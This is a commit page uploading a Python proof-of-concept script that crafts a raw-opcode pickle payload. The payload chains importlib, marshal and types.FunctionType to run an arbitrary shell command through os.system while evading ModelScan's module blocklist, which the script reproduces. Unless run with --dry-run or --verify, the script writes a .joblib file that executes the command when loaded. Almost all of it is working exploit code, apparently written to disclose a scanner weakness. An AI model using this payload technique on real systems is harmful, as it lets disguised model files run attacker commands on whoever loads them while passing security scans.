Zeiyre commited on
Commit
eece99a
·
verified ·
1 Parent(s): b0f3360

Upload modelscan/modelscan_bypass_chainrce_poc.py with huggingface_hub

Browse files
modelscan/modelscan_bypass_chainrce_poc.py ADDED
@@ -0,0 +1,256 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ """
2
+ PoC: Full One-Shot RCE via Raw Pickle Opcodes (No Blocked Modules)
3
+ ===================================================================
4
+ This PoC crafts a pickle payload using RAW OPCODES that achieves full
5
+ arbitrary command execution while using ZERO modules from ModelScan's
6
+ blocklist.
7
+
8
+ The chain:
9
+ 1. marshal.loads(bytecode) -> code object
10
+ 2. types.FunctionType(code_obj, {"__builtins__": __import__("builtins")}) -> function
11
+ 3. The function is called immediately via pickle's REDUCE opcode
12
+
13
+ All pickle globals: marshal.loads, types.FunctionType, importlib.import_module
14
+ None of these are in ModelScan's unsafe_globals blocklist.
15
+
16
+ The key insight: pickle's REDUCE opcode calls a callable with args from
17
+ the stack. By chaining multiple REDUCE operations, we can build and
18
+ execute arbitrary functions entirely within the pickle VM.
19
+
20
+ Usage:
21
+ python modelscan_bypass_chainrce_poc.py --dry-run
22
+ python modelscan_bypass_chainrce_poc.py --verify # Verify bypass only (safe)
23
+ """
24
+
25
+ import pickle
26
+ import pickletools
27
+ import marshal
28
+ import struct
29
+ import io
30
+ import sys
31
+ import argparse
32
+
33
+
34
+ def craft_chained_rce(command="calc"):
35
+ """Craft a pickle that chains marshal + importlib for full RCE.
36
+
37
+ The pickle execution flow:
38
+ 1. importlib.import_module('builtins') -> builtins module
39
+ 2. Store in memo
40
+ 3. marshal.loads(code_bytes) -> code object for exec(command)
41
+ 4. types.FunctionType(code_obj, {'__builtins__': builtins_module})
42
+ 5. REDUCE calls the function -> command executes
43
+
44
+ Since types.FunctionType needs __builtins__ in its globals dict for
45
+ __import__ to work inside the function, we use importlib to get it.
46
+
47
+ Pickle globals used: importlib.import_module, marshal.loads, types.FunctionType
48
+ None are in ModelScan's blocklist.
49
+ """
50
+ # Create the code object that will be executed
51
+ code_str = f"__import__('os').system('{command}')"
52
+ code_obj = compile(code_str, "<bypass>", "eval")
53
+ code_bytes = marshal.dumps(code_obj)
54
+
55
+ # Build pickle opcodes by hand (protocol 2 for wider compat)
56
+ p = b'\x80\x02' # PROTO 2
57
+
58
+ # --- Stage 1: Get builtins module via importlib ---
59
+ # Push importlib.import_module onto stack
60
+ p += b'c' + b'importlib\nimport_module\n' # GLOBAL 'importlib import_module'
61
+ # Push 'builtins' string
62
+ p += b'X' + struct.pack('<I', 8) + b'builtins' # BINUNICODE 'builtins'
63
+ # Call: importlib.import_module('builtins') -> builtins module
64
+ p += b'\x85' # TUPLE1
65
+ p += b'R' # REDUCE
66
+ # Store builtins module in memo slot 0
67
+ p += b'q\x00' # BINPUT 0
68
+
69
+ # --- Stage 2: Deserialize code object from marshal bytes ---
70
+ # Push marshal.loads onto stack
71
+ p += b'c' + b'marshal\nloads\n' # GLOBAL 'marshal loads'
72
+ # Push the marshalled code bytes
73
+ p += b'B' + struct.pack('<I', len(code_bytes)) + code_bytes # BINBYTES
74
+ # Call: marshal.loads(code_bytes) -> code object
75
+ p += b'\x85' # TUPLE1
76
+ p += b'R' # REDUCE
77
+ # Store code object in memo slot 1
78
+ p += b'q\x01'
79
+
80
+ # --- Stage 3: Build function via types.FunctionType ---
81
+ # Push types.FunctionType onto stack
82
+ p += b'c' + b'types\nFunctionType\n' # GLOBAL 'types FunctionType'
83
+
84
+ # Build args tuple: (code_obj, globals_dict)
85
+ # Get code object from memo
86
+ p += b'h\x01' # BINGET 1 (code_obj)
87
+
88
+ # Build globals dict: {'__builtins__': builtins_module}
89
+ p += b'}' # EMPTY_DICT
90
+ # Push key
91
+ p += b'X' + struct.pack('<I', 12) + b'__builtins__'
92
+ # Get builtins module from memo
93
+ p += b'h\x00' # BINGET 0 (builtins module)
94
+ # Set item in dict
95
+ p += b's' # SETITEM
96
+ # Now stack has: types.FunctionType, code_obj, globals_dict
97
+
98
+ # Build tuple of (code_obj, globals_dict)
99
+ p += b'\x86' # TUPLE2
100
+ # Call: types.FunctionType(code_obj, globals_dict) -> function
101
+ p += b'R' # REDUCE
102
+ # Store function in memo slot 2
103
+ p += b'q\x02'
104
+
105
+ # --- Stage 4: Call the function ---
106
+ # The function is on top of stack. Call it with empty args.
107
+ p += b')' # EMPTY_TUPLE
108
+ p += b'R' # REDUCE -> function() -> executes command!
109
+
110
+ p += b'.' # STOP
111
+
112
+ return p
113
+
114
+
115
+ def extract_globals(data):
116
+ """Extract GLOBAL/STACK_GLOBAL references from pickle data."""
117
+ try:
118
+ ops = list(pickletools.genops(io.BytesIO(data)))
119
+ except Exception as e:
120
+ return set(), str(e)
121
+
122
+ globals_found = set()
123
+ memo = {}
124
+
125
+ for n in range(len(ops)):
126
+ op_name = ops[n][0].name
127
+ op_value = ops[n][1]
128
+
129
+ if op_name == "MEMOIZE" and n > 0:
130
+ memo[len(memo)] = ops[n - 1][1]
131
+ elif op_name in ["PUT", "BINPUT", "LONG_BINPUT"] and n > 0:
132
+ memo[op_value] = ops[n - 1][1]
133
+ elif op_name in ("GLOBAL", "INST"):
134
+ globals_found.add(tuple(op_value.split(" ", 1)))
135
+ elif op_name == "STACK_GLOBAL":
136
+ values = []
137
+ for offset in range(1, n):
138
+ prev = ops[n - offset][0].name
139
+ if prev in ["MEMOIZE", "PUT", "BINPUT", "LONG_BINPUT"]:
140
+ continue
141
+ if prev in ["GET", "BINGET", "LONG_BINGET"]:
142
+ values.append(memo.get(int(ops[n - offset][1]), "unknown"))
143
+ elif prev not in ["SHORT_BINUNICODE", "UNICODE", "BINUNICODE", "BINUNICODE8"]:
144
+ values.append("unknown")
145
+ else:
146
+ values.append(ops[n - offset][1])
147
+ if len(values) == 2:
148
+ break
149
+ if len(values) == 2:
150
+ globals_found.add((values[1], values[0]))
151
+
152
+ return globals_found, None
153
+
154
+
155
+ def check_modelscan(globals_found):
156
+ """Exact replica of ModelScan's unsafe_globals check."""
157
+ unsafe_globals = {
158
+ "CRITICAL": {
159
+ "__builtin__": ["eval", "compile", "getattr", "apply", "exec", "open",
160
+ "breakpoint", "__import__"],
161
+ "builtins": ["eval", "compile", "getattr", "apply", "exec", "open",
162
+ "breakpoint", "__import__"],
163
+ "runpy": "*", "os": "*", "nt": "*", "posix": "*",
164
+ "socket": "*", "subprocess": "*", "sys": "*",
165
+ "operator": ["attrgetter"],
166
+ "pty": "*", "pickle": "*", "_pickle": "*",
167
+ "bdb": "*", "pdb": "*", "shutil": "*", "asyncio": "*",
168
+ },
169
+ "HIGH": {
170
+ "webbrowser": "*", "httplib": "*",
171
+ "requests.api": "*", "aiohttp.client": "*",
172
+ },
173
+ }
174
+
175
+ for module, name in globals_found:
176
+ for sev, modules in unsafe_globals.items():
177
+ if module in modules:
178
+ filt = modules[module]
179
+ if filt == "*" or name in filt:
180
+ return True, f"{sev}: {module}.{name}"
181
+ return False, None
182
+
183
+
184
+ def main():
185
+ parser = argparse.ArgumentParser(description="Chained RCE PoC")
186
+ parser.add_argument("--dry-run", action="store_true")
187
+ parser.add_argument("--verify", action="store_true",
188
+ help="Only verify bypass, don't write payload")
189
+ parser.add_argument("--command", default="calc")
190
+ parser.add_argument("-o", "--output-dir", default=".")
191
+ args = parser.parse_args()
192
+
193
+ print("ModelScan Chained RCE Bypass PoC")
194
+ print("=" * 60)
195
+ print()
196
+
197
+ payload = craft_chained_rce(args.command)
198
+
199
+ # Verify pickle is valid
200
+ print(f"Payload size: {len(payload)} bytes")
201
+
202
+ # Extract and check globals
203
+ globals_found, err = extract_globals(payload)
204
+ if err:
205
+ print(f"[ERROR] Failed to parse pickle: {err}")
206
+ return 1
207
+
208
+ print(f"Pickle globals: {globals_found}")
209
+ print()
210
+
211
+ # Check against ModelScan
212
+ detected, detail = check_modelscan(globals_found)
213
+ if detected:
214
+ print(f"[DETECTED] ModelScan would flag: {detail}")
215
+ return 1
216
+ else:
217
+ print("[BYPASS] ModelScan would report: NO ISSUES FOUND")
218
+ print()
219
+ print("Globals in pickle (all unblocked):")
220
+ for mod, name in sorted(globals_found):
221
+ print(f" - {mod}.{name}")
222
+ print()
223
+ print("Execution chain:")
224
+ print(" 1. importlib.import_module('builtins') -> builtins module")
225
+ print(" 2. marshal.loads(bytecode) -> code object")
226
+ print(f" 3. types.FunctionType(code, {{builtins}}) -> function")
227
+ print(f" 4. function() -> __import__('os').system('{args.command}')")
228
+ print()
229
+ print("Result: FULL RCE with zero blocked modules in pickle stream")
230
+
231
+ # Show pickle disassembly
232
+ print()
233
+ print("Pickle disassembly:")
234
+ import contextlib
235
+ buf = io.StringIO()
236
+ with contextlib.redirect_stdout(buf):
237
+ try:
238
+ pickletools.dis(io.BytesIO(payload))
239
+ except Exception as e:
240
+ print(f" (disassembly error: {e})")
241
+ for line in buf.getvalue().strip().split('\n'):
242
+ print(f" {line}")
243
+
244
+ if not args.dry_run and not args.verify:
245
+ filepath = f"{args.output_dir}/chained_rce.joblib"
246
+ with open(filepath, "wb") as f:
247
+ f.write(payload)
248
+ print(f"\nWritten: {filepath}")
249
+ print("WARNING: This file contains a REAL RCE payload!")
250
+ print(f" Loading with joblib.load() will execute: {args.command}")
251
+
252
+ return 0
253
+
254
+
255
+ if __name__ == "__main__":
256
+ sys.exit(main())